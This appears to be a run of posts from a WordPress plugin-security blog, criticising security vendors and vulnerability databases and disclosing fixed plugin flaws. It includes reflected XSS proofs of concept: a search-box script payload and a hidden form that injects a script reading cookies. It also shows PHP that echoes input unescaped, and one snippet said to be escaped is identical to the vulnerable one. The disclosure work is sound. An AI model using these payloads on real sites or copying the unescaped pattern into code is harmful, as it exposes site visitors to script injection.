02 Mar

This Isn’t Great Information on What Are Supposed to be the Most Attacked WordPress Plugins

When it comes to better understanding security surrounding WordPress there is dearth of useful data. For example, despite millions of websites using various security plugins and numerous claims of the effectiveness of them, the few test we have done of them to see if they could protect against the exploitation of real vulnerabilities in other plugins are almost the only testing that has every been done. Considering that that the results showed that they provide almost no protection, it isn’t like a lack of testing is due to a lack of need for that information. Most of the data that you might run across is of little value and often is distorted even further when repeated by others.

Recently while we were looking for information on something else we ran across a recent post on the website, jeffbullas.com, titled “The Top 50 Most Attacked WordPress Plugins Making Your Site Vulnerable to Hackers” (http://www.jeffbullas.com/attacked-wordpress-plugins/). A few paragraphs in, things already looked really bad, as there is this claim:

One study revealed that almost 98% of WordPress blogs were easily exploited because they were running outdated versions of the software, or outdated plugins.

There is no link to this supposed original study or any other information in the post about it (despite plenty of other links in it), so who knows if it really exists. But it if did, it must have come from someone that has no idea what they are talking about, since the number is absurd.

Moving on, here is the explanation of the information provided:

This post will highlight the 50 most attacked WordPress Plugins in 2017. The report will showcase:

  • The number of total attacks. This will determine the total number of attacks that were reported by the particular plugin.
  • The type of the attack. This will reflect the “Location File Inclusion” (LFI) attack that allows exploiters to download any file they want, or the “Unrestricted File Upload” that allows exploiters to upload a “shell” that gives them full remote access to target the site.
  • The exploit database link. This will determine the language used by the penetration testers and vulnerability researchers.
  • The WordPress plugin website.This will provide you details and information about the plugin and a link to download.

There is no explanation as to where the total number of attacks is supposed to have come from, which seems like it would be rather important to note. It looks like for portions of the list the plugins are ranked by the number of attacks, but occasionally the number of attacks changes dramatically from one plugin to the next, which makes us more suspicious as to whether the numbers are even real.

In an indication of the lack of understanding of the topic by the author, they confuse a local file inclusion (LFI) vulnerability with an arbitrary file viewing (or arbitrary file download) vulnerability despite linking to a page that accurately describes what a LFI vulnerability is.

We can’t even decipher what “This will determine the language used by the penetration testers and vulnerability researchers.” is supposed to mean (we also haven’t seen evidence that penetration tester discover a measurable amount of vulnerabilities in WordPress plugins).

Right after that is this statement:

If you use any of these attacked WordPress plugins on your website, you may want to look into ways to improve your security.

That’s not all that helpful.

At the bottom of the post they give better advice, though the post doesn’t indicate if the vulnerabilities have been fixed and therefore is upgrading will do any good:

If you use any of the above plugins, ensure you upgrade to the latest version, and adopt Wordfence with Firewall enabled to protect your WordPress sites from unexpected brute force attacks in the future.

Also notable here, is that brute force attacks are hot happening, so installing a plugin to protect against them would not be good advice since it would also add additional security risk (that isn’t a hypothetical risk).

To see the questionable value of this type data (if it was even accurate) just look at the first entry:

#1. Recent Backups (Backup for your website)

Total attacks: 2,159,725

Type: LFI

Exploit database:https://www.exploit-db.com/exploits/37752/

Website link: https://wordpress.org/plugins/recent-backups/

First this vulnerability was disclosed on August 10, 2015, so there is a good chance that if it would have lead to a website being hacked it likely would have occurred before 2017. What is important to note is that the type of vulnerability, arbitrary file viewing, is one of the most targeted types of vulnerabilities, but it doesn’t appear to usually lead to websites being hacked. What the vulnerability is normally exploited to do on a WordPress website is to view the contents of the WordPress configuration file, wp-config.php. The main piece of information that can be gathered from doing that are the database credentials for the website. As best we can tell hackers don’t try much to utilize that, the only time we can recall that leading a lot of WordPress websites being exploited due to that type of vulnerability was when GoDaddy had screwed up and starting making databases remotely accessible that were configured to not allow that.

The other thing that seems rather important about this, is that plugin is only used on 100+ websites according to wordpress.org, so the impact its exploitation could theoretically have is rather limited.

If the attack number is accurate, the main take away here is that hackers will try to exploit vulnerabilities that are used on very few websites and where the chance of successfully exploiting them is limited. That doesn’t require a list of 50 plugins and the post doesn’t provide any insight like that or useful information like if the vulnerabilities were fixed.

A far simpler way to check if you are using versions of plugins that hackers appear to exploiting would be to install the companion plugin to our service, as that will automatically check all the plugins installed against the free data on just that type of vulnerability that comes with that plugin.

21 Feb

When The Solution to a Vulnerability in a WordPress Plugin is to Have Updated It Years Ago

Earlier today we were discussing an example of the problem with WordPress plugins not being kept up to date. Recently we have also been looking in to another example of that, which also shows the type of work we do to make sure our clients have the best data on vulnerabilities in WordPress plugins and also some of what developers have to deal with when it comes to claims of them in their plugins.

One of things we do to keep track of vulnerabilities in WordPress plugins is to monitor the Support Forum on wordpress.org for topics related to those. Recently we came across a thread for the plugin Spider FAQ that indicated there might be a vulnerability in it:

Today OpenBugBounty wrote us a mail, that we have a css vulnerability problem with the searchfield from Spider-Faq.

One resolution is, to filter some Signs in the Searchfield. Can anyone tell me, where the Searchfield is located and where we should enter the Filter for the Symbols?

That sounded like it was describing a reflected cross-site scripting (XSS) vulnerability in the plugin’s search functionality on the frontend of the website. When we went to check on that though we found that things seemed relatively secure. What seemed to be the relevant code escapes what is submitted to be searched for (in the form of POST input search) to prevent XSS:

<div align="right"><input type="text" class="search_keyword" id="<?php echo 'skey'.$faq->id ?>" name="search<?php echo $faq->id ?>" value="<?php if(isset($_POST['search'.$faq->id])) { echo $_POST['search'.$faq->id]; } ?>" />

It looks like it would be better to be using esc_attr() instead of esc_html(), but other than things seemed fine.

At that point we were not sure what was going on and we waited to see if any more information would be disclosed in the thread that might make things clearer (due to the terrible moderation of the Support Forum, we avoid participating in it at this time).

After a response from the developer, the original poster responded with additional information. What was helpful to us in that was that they listed the address where this was occurring. With that we tried to see what version of the plugin was being used on the website, since it could have been that a vulnerability had existed in older versions of the plugin.

We were quickly able to identify that the version of the plugin being used on the website was from the 1.0.x series. That series was indeed vulnerable to this issue, as there is no escaping when the search term is output:

<div align="right"><input type="text" class="search_keyword" id="<?php echo 'skey'.$faq->id ?>" name="search<?php echo $faq->id ?>" value="<?php if(isset($_POST['search'.$faq->id])) { echo $_POST['search'.$faq->id]; } ?>" />

Version 1.1, which fixed that, was released on November 19 of 2013. So the plugin hasn’t been updated in over four years on that website.

Proof of Concept

Submitting the following proof of concept as the search term on a frontend page for the plugin will cause an alert box with the number 1 to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

“><script>alert(1);</script>

21 Feb

The Failure to Update Vulnerable Plugin is Reminder of Security Industry’s Apparent Lack of Interest in Making Sure Websites Are Secure

Something we have recently been thinking might be a helpful way to explain why security is in such bad shape despite the amount of money being spent on it, is to think of the security industry not as the “security industry” but as the “insecurity industry”. By that we mean that most of the security industry seems to not be focused not trying to make things secure, but on selling people on the idea that insecurity is very much the natural state of things, that you are under constant attack, and that while they can offer you the best security, you shouldn’t expect that the protection provide by that is actually all that effective.

As an example of that, take something from Wordfence recently, where they seem be describing a situation where some web hosts had failed at doing a basic of security for their service and allowed customers to access to other customers’ files. Not only is that a failure at a basic level for a web host, what they seem to be  describing is something that was huge issue with web hosts a number of years ago, so there would be even less excuse for that still happening in 2018. To Wordfence though the situation was very different:

It’s important to note that vulnerabilities are a fact of life in any service, system or software. Finding, confidentially disclosing and fixing vulnerabilities is how industry works with the information security community to improve the products and services we use and keep the public safe. The process that we use is well established and is widely used by organizations that include Google’s “Project Zero” and Cisco’s “Talos” security group.

When vulnerabilities are found and vendors are responsive, you benefit as a customer of those vendors and can know that your vendor reacts quickly to fix security problems and will likely do so long term, keeping you and your data safe.

A disclosure like this is not an opportunity for “vendor shaming” or a witch hunt. All developers who write enough code write vulnerabilities at some point in their career. It is in fact a moment to celebrate responsive vendors and a well handled incident that left customers and the online community safer.

At Wordfence, we are excited when a vendor works closely with us to fix a vulnerability and responsive vendors garner the greatest respect from our engineering team.

If you read over the whole post and the comments it seems pretty clear that Wordfence doesn’t even know what the underlying cause of the issue was, so the idea they worked closely with the web hosts to fix it seems to be something we see fairly common with them, a hyperbolic statement overstating what they are doing.

What makes this worse is that it is likely that Wordfence’s keeping quiet on this allowed the problem to fester when if it had publicly disclosed promptly there would have been more pressure on the web hosts to promptly fix this. By not doing that there was an upside for Wordfence though, as they could get more people to pay them to clean websites, when the web host really should have been handling cleaning them up since they caused the problem in the first place.  You also have to wonder about Wordfence not seeming to understand that disclosing something is being exploited already is not the same as discovering something that hackers don’t appear to know off yet, where a limited delay of disclosure can make a lot more sense.

Also notable, one of the comments doesn’t paint such a great picture of Wordfence’s handling of this:

My client got hacked several times on Hostway and neither Hostway or Wordfence’s cleaning team figured out this was the issue at the time. We changed hosting providers and have been safe ever since. I’m glad you found this both to validate my diagnosis that the weak link was Hostway and so that Hostway’s customers will now be safer.

60 Percent Insecure

If we are wrong about this and the most of the security industry is in fact concerned about security, they don’t seem to be acting in a way that matches that. To show how even the basics of security are still failing to happen, while security companies don’t seem to acting as if there is a crisis  and instead trying to sell people on more advanced solutions (for which there is little to no evidence are actually more effective or effective at all) takes something we just ran across.

Several days ago we had a request at one of our other websites for a file that would be located at /wp-content/plugins/smart-google-code-inserter/smartgooglecode.php, which is a file from the plugin Smart Google Code Inserter. That was likely a request probing for usage of that plugin before trying to exploit a vulnerability in it. After noticing that we went to try to figure out what a hacker might be interested in trying to exploit in the plugin.

In looking over the current version we didn’t see anything that looked like it might be targeted by a hacker.

On January 1 Benjamin Lim had disclosed a persistent cross-site scripting (XSS) and a SQL injection vulnerability had existed in earlier versions of the plugin. The persistent cross-site scripting XSS vulnerability seems like it could be something that a hacker might be interested in since that would allow a hacker to get malicious code to be served up on the frontend pages of vulnerable websites and just that type of issue has been something that has been exploited before.

Those vulnerabilities were fixed on November 29, so if people were doing the security basic step of keeping software up to date, attempts to exploit this shouldn’t be of much concern since it shouldn’t impact many of the 9,000+ active installations of the plugin (according to wordpress.org). Unfortunately, if the wordpress.org data is accurate, about 60 percent of the installs of this plugin are still not using the fixed version, 3.5:

The Wrong Focus

To bring this back around to Wordfence, also in November, we wrote about how their behavior relates to just this issue:

When it comes to improving the poor state of security, what can be seen over and over is that the focus needs to be on the basics. Take for instance the widely covered breach of Equifax, which was a situation where simply keeping their software up to date would have prevented the breach from happening. But the security industry isn’t focused on that and doesn’t seem to ever consider that what they are doing is far too often part of the problem, even when it impacts them.

That type of issue applies with WordPress plugins, where many hacks involve exploitation of vulnerabilities that have already been fixed. So what is probably going to provide you better protection then any security product or service would be to simply keep your plugins update at all times (many of the security plugins don’t seem to provide any protection against those vulnerabilities), which can be done with things like our Automatic Plugin Updates plugin. But telling you that doesn’t help the security industry to sell their products and services, so you don’t often here that from them.

As example let’s take a look at a post from yesterday from Wordfence about vulnerabilities in several plugins, which ends:

We encourage you to share these vulnerabilities with the larger WordPress community to help keep site owners safe from exploitation.

If you read through the rest of the post they don’t ever say that you should be keeping your plugins up to date at all times, which is actually the best advice when it comes to the vulnerabilities mentioned there. Instead they tell you the plugins they are mentioning now should be updated “immediately”, which for one of the plugins is well after a hacker had started trying to exploit one of the vulnerabilities that had been in it. The three plugins they mention are far from the only recent updated plugins that had updates that fixed security vulnerabilities, so only mentioning that people should update those isn’t all that helpful.

The rest of the post is like so much from Wordfence, mainly an ad for their services, which seems to be the real reason they want people to share it. As well get to in a moment one of the vulnerabilities in the plugins they mention is an example of the poor quality of what Wordfence paid service provides over doing the basics and the post shows again that Wordfence has very limited security knowledge, despite claims to the contrary.

A couple weeks later we wrote something along the same lines involving another well known name in WordPress security, Sucuri.

To see another indication of the lack of understanding of the important of keeping software up to date at all times from the security industry, checkout a comment from another posts of ours from someone that describes themselves as a “Web application security and accessibility evangelist.”

By comparison, well before we ever created this service, we had introduced the aforementioned Automatic Plugin Updates plugin, which turns on WordPress’ abiltiy to automatically update plugins.

15 Feb

A Doubly Bad Way to Check if Your WordPress Website Uses Plugins With Known Vulnerabilities

One of the many problems with the security industry is the use of ineffective solutions to tackle various tasks when much more effective solutions are readily available. While some of the usage of those less effective solutions may be necessary due the particulars of a situation, it seems that most usage is due to people providing security products and services despite not having a great grasp of security and the ability to make more money using those less effective solutions (at the expense of the customer getting a bad result). The way that leads to more money can come from getting sales for a product a service over others by making them sound more impressive than the more effective solution, which we will get to an example of in a bit, or by promoting the less effective solution as being a cheaper, but equally effective solution, when it really isn’t even close to being as effective.

When it comes to checking if a WordPress website is using plugins that contain known vulnerabilities the method used for our service is very effective. When we come across a report of a vulnerability (or in many cases become aware of one without a report having been released) in a plugin, we test things out to make sure that the vulnerability has existed and determine which versions of the plugin are impacted. We then add that info to our data set that can then be accessed through an API by the companion plugin for our service.

The companion plugin collects information on the plugins that are installed on the website along with the versions numbers of those plugins. That information is then sent to our website and any vulnerabilities that are in the current version or in other versions can be returned and then displayed or emailed by the companion plugin. That means that in seconds a check can be done and it can be easily repeated over and over (you can have the check done as often as every hour).

Live Testing

As example of a less effective solution that we would imagine sounds more impressive than that, take the Detectify service that we mentioned back in September, which was promoted with the following:

Detectify is a web security service that simulates automated hacker attacks on your website, detecting critical security issues before real hackers do.

While that may sound impressive, in reality it seems like really ineffective way to check for known vulnerabilities in WordPress plugins. Many WordPress plugin vulnerabilities being disclosed involve an action being taken by an Administrator, so to test for those things the service would need to have full access to the website, introducing additional security risk. Plenty of vulnerabilities have a persistent impact, so it seems like you wouldn’t want to have them tested for on a live website. For example, the other day we detailed an authenticated arbitrary file deletion vulnerability. To test that out, the service would have try to delete a file, so either the service is going to be delete a file intended to be on the website or it will need the ability to create a new file to delete.

Doing that testing on the website is going to take a lot more time then what is done with our service and it doesn’t look like that service is designed for continuous checking.

Another limitation of that service is that it has a fairly limited number of WordPress vulnerabilities it checks for, in fact it looks like we have more vulnerabilities in our data set than they check for in all types of software.

Making all that worse, if you are only interested in checking a WordPress website then that the service is going to cost you a lot more than ours. If you want to scan for things that require authentification the price is 10 and half times more than our service (and six times as much without authenticated checking).

WPScan and Burp WP

Recently we came across someone suggesting another route for checking a WordPress website for known plugin vulnerabilities, which lead to us writing this post:

I recently came across Burp WP, a WordPress scanning plugin for Burp Suite. It’s similar to WPScan, and uses the WPScan Vulnerability Database as its source of vulnerabilities. If you already use Burp for vulnerability scanning, then it’s nice to be able to include Burp WP to deep-dive into a WordPress site, without having to run WPScan separately.  I’ll be installing it on Monday to give it a test shortly after updating my sites to WordPress 4.9.3.

Neither of those tools will actually do a deep-dive into a WordPress website, since they work from the outside. That is one the two reasons they are bad for checking the plugins for known vulnerabilities.

One way those types of tools can check what plugins are in use is to look for references to them in frontend pages on the website. That approach is going to miss a lot of plugins since many don’t have anything that shows up there. The other would be to request the readme.txt files for each plugin (or some other file or maybe a directory) to see what ones are installed. So either you are likely to be missing a lot of plugins or you are going to making 100s or 1,000s of requests (depending on how many plugins there are in the data set of known vulnerabilities). In some cases one of those approaches could get you the version number of the plugin, but it won’t always, so you are not always going to be sure without further checking if the vulnerability impacts the version being used. Like the other solution, continuous checking is going to be difficult.

The second problem is the data source that is being checked against with those tools, the WPScan Vulnerability Database. That data source has one big positive, its data is accessible for free, but it also has a lot of negatives. Seeing as tools like that are promoted as being used by security professionals, you would expect that a lot times they are being used in instances where fees are being charged that would allow for using higher quality data than what is available for free.

You can look back at our past posts discussing the negatives aspects of that data, but to give you a quick idea let’s give you two recent example of the issues that we have found.

Just a couple of days ago in the context of a false claim that you won’t miss out vulnerabilities if you rely on WPScan Vulnerability Database, we noted a couple of recent examples of it missing vulnerabilities it really shouldn’t have. One of them was a vulnerability that was disclosed in early January, which had been being exploited before it was fixed. The other was a vulnerability we disclosed in late November that likely is being exploited and that has yet to be fixed. Those both seem like the kinds of vulnerabilities you would want to know about, but if you relying on that data source you wouldn’t (those are far from the only ones).

A very recent example involves a vulnerability disclosed in the plugin Bookly Lite less than a week ago. Here is the WPScan Vulnerability Database entry for that:

The problem with that is that not only was the vulnerability not fixed in version 14.5, it wasn’t even fixed as of the when that entry was added and last updated.

Before that vulnerability was even in that data set we had already tested out the vulnerability, determined the vulnerable versions, determined that it hadn’t been fixed, added it to our data set, and contacted the developer to let them know it wasn’t fixed. We have yet to hear back from them, but earlier today the vulnerability was fixed (though in a less than ideal way).

So with that data source you really need to double check to see if the vulnerabilities have been fixed since the data isn’t reliable in that regard, which with our service we have already done for you.

13 Feb

Actually MainWP, You Will Miss out on Vulnerabilities if You Rely on the WPScan Vulnerability Database

The marketing of security products and services often consists of misleading or outright false claims, which isn’t all that surprising considering how awful the security industry is.  One thing we have seen being misleadingly used fairly often is the phrase real-time, which often is used in way that make it sounds like a much higher level of service is being provided.

As example of that involving our area of focus, we recently ran across MainWP, a service for managing multiple WordPress websites, promoting an extension for their service that accesses data from the WPScan Vulnerability Database with this claim:

  • The Vulnerability database updates itself real-time so you don’t miss out on any vulnerabilities.

While it is true that data source updates in real-time that doesn’t mean that you won’t miss out vulnerabilities, because the real-time part is that you can access data on vulnerabilities in real-time after they are added to that data source. They first have to be added though, so what would matter is how long it takes for them to be added or if they are added at all. That is something MainWP doesn’t address there and we would guess they probably didn’t bother to look into it (it wouldn’t be the first someone made an inflated claim about the WPScan Vulnerability Database without knowing what they are talking about).

The reality is that in some cases a non real-time updated data source for plugin vulnerability data provides data that is missing entirely from the WPScan Vulnerability Database. That being the companion plugin for our service, for which we include data on vulnerabilities that appear to be being exploited, so that even those not using our service yet can be warned about them.

Two recent vulnerabilities missing from their data, but in our plugin, are good examples of how WPScan’s data is less than ideal and really should be paired with our plugin (or even better, just use our service).

On January 4 NinTechNet disclosed that they had seen an arbitrary file upload vulnerability in the plugin LearnDash LMS being exploited and that it had been fixed after they notified the developer. That didn’t seem to be an isolated situation as we were in contact with someone shortly after that whose website was likely had exploited through that vulnerability well.

That would seem to be an important vulnerability to warn about, but more than a month later it still hasn’t been added to the WPScan Vulnerability Database. By comparison our plugin has been warning about it since January 9 (and our service before that). Because that data comes with the plugin, our plugin would need to be updated to be warn about that, but if you are not keeping plugins up to date, you are going to have larger security issues.

On November 27 we disclosed an arbitrary file upload vulnerability in the plugin PHP Event Calendar.  We had noticed that after seeing someone probing for usage of the file the vulnerability existed in, on our website the day before, so it is likely that vulnerability is being exploited as well.

Two and half months later, during which we have seen additional probing for the plugin in third-party data we monitor, the vulnerability still hasn’t been added to the WPScan Vulnerability Database. It was added to our plugin’s data the same day we disclosed it (and added to our services data then as well). That vulnerability hasn’t been fixed, so simply keeping plugins up to date would not protect you from it.

Those examples stick out, not just because the vulnerabilities were being exploited, but because it would be so easy for the people behind the WPScan Vulnerability Database to make sure to include those, since all they would have to do is monitor changes being made to our plugin. It therefore probably isn’t all that surprising to hear that their database is also missing a lot of other vulnerabilities as well. For example, when we did a comparison of  new vulnerabilities added to the data set for our service versus WPScan’s during the month of June last year, we found that we had added three times as many vulnerabilities. There are other serious issues with their data, which we have discussed in the past.

Another thing to keep in mind, when it comes to real-time claims, is that they also depend on how often the source is being checked. MainWP doesn’t provide any information on how often their extension checks things, but with our service you can check as often as hourly to see if there are any vulnerabilities in the versions of plugins you are using.

This isn’t the only incident where something marketed as real-time has left a lot to be desired when it comes to plugin vulnerabilities, as back in June of 2016 we discussed Wordfence’s apparent lack of knowledge of numerous probable zero-day vulnerabilities despite the claims they make about their Real-Time Threat Defense Feed.

02 Feb

SiteGround’s Poor Handling of Security Surrounding WordPress Plugins

One of the many problems we see when it comes to improving the security of websites is that it easy for companies to make it sound like they are doing impressive things in regards to security when they are doing very little or even doing things in way that put their customers at risk.

Recently we ran across an example of that involving the web host SiteGround, which was touting their quick response to a WordPress plugin vulnerability in a blog post:

Тoday, a serious vulnerability issue with one of the vastly used Yith plugins – the WooCommerce Wishlist was discovered by Sucuri. The latest plugin version – 2.2.0 patches the vulnerability but all versions prior to it are at risk. To protect our customers, who haven’t updated their plugin, our security team started working immediately and a WAF rule was just applied on our servers.

We’re very proud of our internal WAF (Web Application Firewall) system that protects all SiteGround shared and cloud servers. It allows us to dynamically add different rules across our network and block hacking attempts. The moment we got notified about the issue with YITH WooCommerce Wishlist plugin, our security team started working on the case. We’ve managed to come up with a rule, that shields you against potential attacks utilizing this vulnerability. Although this does not patch the problem in its core, we’ve added protection against those, who try to utilize it. This said, we urge you to update to the latest plugin version, which includes the official patch for this vulnerability.

As we will get to in a second this really isn’t all that impressive, but based on the comments on the post, others thought so.

That post was written on January 17, which was six days after the vulnerability was fixed. If a hacker had been interested in the vulnerability they likely could have already been exploiting shortly after it was fixed, considering that it should have not been hard to figure out what it was based on the changelog entry for it:

  • Fix: fixed security vulnerability, causing possible SQL Injections (huge thanks to John C. and Sucuri Vulnerability Research team)

That is one of a number of reasons it would be much better for people to be keeping their plugins up to date then rely on a WAF for protection. Another one that is important to consider, is that the protection like that may not work all that well, as we and others have found that type of protection can be rather limited in what it stops. We have yet to see any WAF providers that provide results from testing, much less independent testing, that their WAF is effective at protecting websites from real threats (despite that seeming like it should be a baseline requirement for anyone considering paying for such a product/service). By comparison, since vulnerability fixes are public there is at least the chance that others will have checked over things. While that doesn’t always happen, it does happen enough to regularly lead to further improvements to protection against those vulnerabilities, which likely can’t be said about those WAFs.

What is the much larger issue here though, is that this was the only vulnerability they made an announcement about providing protection for last month. That is rather underwhelming when you considering that we added data on 44 newly disclosed vulnerabilities to our data set last month, including 11 that haven’t been fixed. So why that vulnerability and not any of the other 43?

That plugin is fairly popular, but as people dealing with security of websites should really know, the popularity of a plugin has little role in the risk of a vulnerability being exploited, so that would seem like it isn’t reason (or at least shouldn’t be).

It shouldn’t be the type of vulnerability either, seeing as SQL injection vulnerabilities are not something that in most variants is something that is of much chance of being exploited on the average website.

Instead it looks like there is simple explanation, that vulnerability was the only one disclosed by their security partner Sucuri last month (a partnership that has caused SiteGround customers to be provided false claims that websites are hacked due to SiteLock’s really poor scanner). In fact going back through last year, the only other blog entry announcing protection against a WordPress plugin vulnerability was another one disclosed by Sucuri. Considering that that neither of those was one that is of much concern to the average website and considering that there have been many vulnerabilities that were already being exploited or likely to be exploited, they don’t appear to have to done much for their customers when it comes to protecting against vulnerabilities in WordPress plugins. Unlike SiteGround, we don’t passively wait to be notified about disclosed vulnerabilities, so we can help protect our customers from many more vulnerabilities (we also provide a plugin to handle automatically updating plugins).

In looking over SiteGround’s other recent blog entries we noticed more concerns when it comes to their handling of security. For example, in one post they were touting their “AI-based” supposed prevention of brute force attacks, despite that type of attack not happening. Considering at best that they are misusing basic security terminology, something their partner Sucuri has claimed is a red-flag when it comes to security (though amazingly equally applies to Sucuri itself), it probably isn’t all that surprising that their WordPress plugin, which has over 300,000+ active installs according to wordpress.org, has multiple easy to spot security vulnerabilities.

One of the vulnerabilities is so easy to spot that it was picked up by our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own). We have notified SiteGround of the details of the vulnerabilities and will be disclosing them once they have had a chance to fix them.

17 Jan

It Looks Like Our Plugin Security Checker Caught a Vulnerability That Was Missed by a WordPress Plugin Directory Review

In continuing to work on improving our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own), we have been interested to see where it can already provide value over what is already being done to improve the security of plugins. We recently got what looks to be an example of it catching something that was missed by the team managing the Plugin Directory.

Last Tuesday we were contacted by one of our customers, J.D. Grimes, to let us know that he had noticed that an attempt to fix a vulnerability in the plugin Media from FTP looked like it had failed to fully fix the vulnerability, but he didn’t have time to verify that or contact the developer about that. We took a look, confirmed that the fix was incomplete, and then worked with the developer to implement a better fix. A new version with that second fix was released later the same day.

At some point on Thursday the plugin was closed on the Plugin Directory. No explanation was given why that was, but based on the subsequent changes made and past experience, we would guess that the plugin was belatedly closed due the then fixed vulnerability and then the Plugin Directory required additional changes be made based on a privacy and security review done after it was removed. According to their documentation that should involve the following:

  • Don’t phone home without informed user consent
  • Collection of user data must be “opt-in” only and have the relevant option set to disabled by default
  • Validate and sanitize untrusted data before processing (See: Data Validation)
  • Escape all data before output (See: Data Validation)
  • Do not use URL shorteners
  • Use prepare() and $wpdb for SQL calls

Sometime on Thursday prior to the plugin having been closed someone ran the plugin through our Plugin Security Checker and it detected a possible issue. We have been doing spot checks on what is being flagged by that to improve the quality of the results (last week we fixed one false positive and another issue that could have lead to false positives through that), so we went to check on that. Looking at the details of the issue identified, which are available through the tool’s new Developer Mode, it certainly looked like there could be a reflected cross-site scripting (XSS) vulnerability as user input was being output without being escaped:

A quick check confirmed that this was an exploitable vulnerability (though far from a serious issue for the average website), as can be seen with the proof of concept below.

That should have been something caught by a check meant to insure that “Escape all data before output (See: Data Validation)”. Many of the changes made to the plugin after it was removed from the directory dealt with sanitizing user input, so this seems like something that should have also been caught, but the plugin returned to the directory without it being fixed.

Yesterday we contacted the developer and they released a new version, 9.90, which fixes the vulnerability by replacing the variable used (since previously a different value than intended one could be shown) and the value is escaped using esc_attr():

917
<input name="page" type="hidden" value="<?php echo esc_attr($_GET['page']); ?>" />

This seems to show using our tool could improve the security reviews that are supposed to be being done by the Plugin Directory to catch this type of issue as well as more serious issues. As we have said in the past, we would be happy to provide free access to the Plugin Directory team to the portions of the tool that normally are restricted to those using our service.

This also seems like further confirmation that that when the tool detects a possible reflected cross-site scripting (XSS) vulnerability that it is a good indication that a plugin could use a more thorough review, considering the other recently fixed issues in this plugin.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=mediafromftp-search-register" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • January 16, 2018 – Developer notified.
  • January 16, 2018 – Version 9.90 released, which fixes the issue.
22 Dec

The Problem With Relying On Wordfence For Security Information

A month ago we discussed how Wordfence’s idea of keeping “site owners safe from exploitation” actually puts them at risk. Part of what we mentioned in that was that relying on security companies to tell if you plugins should be updated due to vulnerabilities being fixed is a bad idea for a number of reasons. One of them being that, as was shown with Wordfence’s post, they may be doing that well after a vulnerability was fixed, and in the case of that post, also well after it was publicly disclosed that the vulnerability was being exploited.

Along those lines it was only on December 19th that Wordfence put out a post warning about the plugin Captcha, something we did back on December 8th. That post does add some more information beyond what we identified back then, but the main point has been out there for some time before they got around to mentioning that.

When we went to look at that post we also noticed another post of theirs that is a reminder that Wordfence seems less interested providing accurate and timely information, and more interested in promoting themselves, even if that comes at the expense of people’s view of the security of WordPress.

This is Not a Brute Force Attack

The day before that post about Captcha, they had another one titled “Breaking: Aggressive WordPress Brute Force Attack Campaign Started Today, 3am UTC”, which like their previous claims along these line, isn’t true.

That can be seen starting with the last sentence of the first paragraph:

This is the most aggressive campaign we have seen to date, peaking at over 14 million attacks per hour.

A brute force attack involves trying every possible password combination to log in to a website. To give some idea of what kind of numbers that would involve, here is something we wrote on our main blog a while back:

To give you an idea how many login attempts that would take, let’s use the example of a password made up of numbers and letters (upper case and lower case), but no special characters. Below are the number of possible passwords with passwords of various lengths:

  • 6 characters long: Over 56 billion possible combinations (or exactly 56,800,235,584)
  • 8 characters long: Over 218 trillion possible combinations (218,340,105,584,896)
  • 10 characters long: Over 839 quadrillion possible combinations  (839,299,365,868,340,224)
  • 12 characters long: Over 3 sextillion possible combinations  (3,226,266,762,397,899,821,056)

For a 6 character long password, trying half of the possible combinations at 14 million an hour would take 2,000 hours or over 83 days. So that would take a while to possibly succeed.

In this case though the numbers would be much worse since Wordfence wasn’t claiming that 14 million attempts per hour for one website, but for up to 190,000

  • We are seeing up to 190,000 WordPress sites targeted per hour.

That works out to about 74 attempts per hour per website, so this clearly isn’t a brute force attack. If they lead with that number, people would be lot less concerned, but Wordfence seems more interested in creating unnecessary fear to push their plugin:

If you have not already done so, install Wordfence immediately on your site.

And their paid service:

We strongly recommend that you upgrade to Wordfence Premium to benefit from the real-time blacklist feature which blocks any traffic from these malicious IPs.

In this case, Wordfence actually indicates what they are talking about isn’t a brute force attack, as they write:

A possible explanation for this new massive increase in brute force attacks
On December 5th, a massive database of hacked credentials emerged. It contains over 1.4 billion username/password pairs. Approximately 14% of the database contains credentials that have not been seen before. The database is also searchable and easy to use.

When we bring up the repeated false claims of brute force attacks against WordPress admin password, people have repeatedly claimed that this is simply a semantic issue, but the reality is how you handle different types of attacks is different, so you need to first need to know what is really going on.

In a case where someone is trying to login in using shared credentials the best protection against that is to not use the same username/password across websites and yet in Wordfence’s list of 8 of actions to protect against this, the relevant one is all the way at the end:

8. Do not reuse a password on multiple services. That way if you have a password from a data breach in this new database, it won’t be the same as your WordPress admin password. You can use a password manager like 1password to manage many passwords across services.

Before you get to that, five of the entries are promoting their plugin or service, for example number one is:

1. Install a firewall like Wordfence that intelligently blocks brute force attacks.

If you use the same username and password across websites and that is breached the website could be breached with as little as one login attempt and firewall is going to be able provide limited protection at best, so that shouldn’t be the number one thing to do. Two factor authentication would be a better option, but that only comes in at number 5.

Number 2 shows that they will even promote their product over mentioning where WordPress does a good job on security:

2. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence Premium provides password auditing capability.

You don’t need password auditing capability as WordPress already provides a good measure of the security of passwords and by default it generates secure ones. If you wanted to improve things then it might make sense to limit passwords to strong ones, instead of trying to auditing them after the fact.

There is another problem with these types of claims, it is causing people to take the wrong lesson from them. There are several comments on Wordfence’s posts about not using WordPress because of things like this. Here is one:

Thanks for the support and heads up Mark.
This rubbish is exactly why I will no longer use WordPress.
Just this week I have already shifted my sites across to another platform.
I feel for everyone who has no idea on the simplest security measures, including the free level of Word Fence let alone paying for the Premium version.
It’s not what it costs up front, but the cost to repair, replace or fix what has been lost.

The reality is this type of attack isn’t in some way connected to WordPress or unique to it, but Wordfence presents thing in way to that leads people to believe otherwise. Probably because they are most interested in promoting their WordPress security products, even when they are not the best solution to the problem.

20 Dec

Hundreds of Websites Still Using Intentionally Malicious WordPress Plugins Three Years After Being Removed From Plugin Directory

